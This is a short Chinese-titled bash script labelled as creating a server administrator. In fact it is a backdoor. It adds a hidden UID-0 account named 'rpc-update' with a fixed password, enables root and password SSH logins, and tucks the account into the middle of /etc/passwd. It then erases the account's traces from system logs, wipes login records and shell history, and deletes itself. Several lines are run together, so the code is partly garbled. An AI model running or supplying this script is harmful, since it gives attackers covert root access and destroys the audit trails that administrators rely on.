创建一个管理员管理服务器
`#!/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
U="rpc-update"
P="mydemo123"
useradd -o -u 0 -g 0 -M -d / -s /bin/bash $U 2>/dev/null
echo "$U:$P" | chpasswd
CONF="/etc/ssh/sshd_config"
if [ -f "$CONF" ]; thensed -i 's/^#*PermitRootLogin.*/PermitRootLogin yes/' "$CONF"sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication yes/' "$CONF"if /usr/sbin/sshd -t 2>/dev/null; thensystemctl restart ssh 2>/dev/nullsystemctl restart sshd 2>/dev/nullservice ssh restart 2>/dev/nullelse:fi
fi
sed -i "/^$U:/d" /etc/passwd
sed -i "12i $U:x:0:0::/:/bin/bash" /etc/passwd
pwconv 2>/dev/null
LOGS=("/var/log/auth.log" "/var/log/syslog" "/var/log/secure" "/var/log/messages")
for L in "${LOGS[@]}"; do[ -f "$L" ] && sed -i "/$U/d" "$L" 2>/dev/null
done
> /var/log/wtmp
> /var/log/btmp
> /var/log/lastlog
[ -f ~/.bash_history ] && rm -f ~/.bash_history
touch ~/.bash_history
rm -f "$0"
history -c && history -w && exit`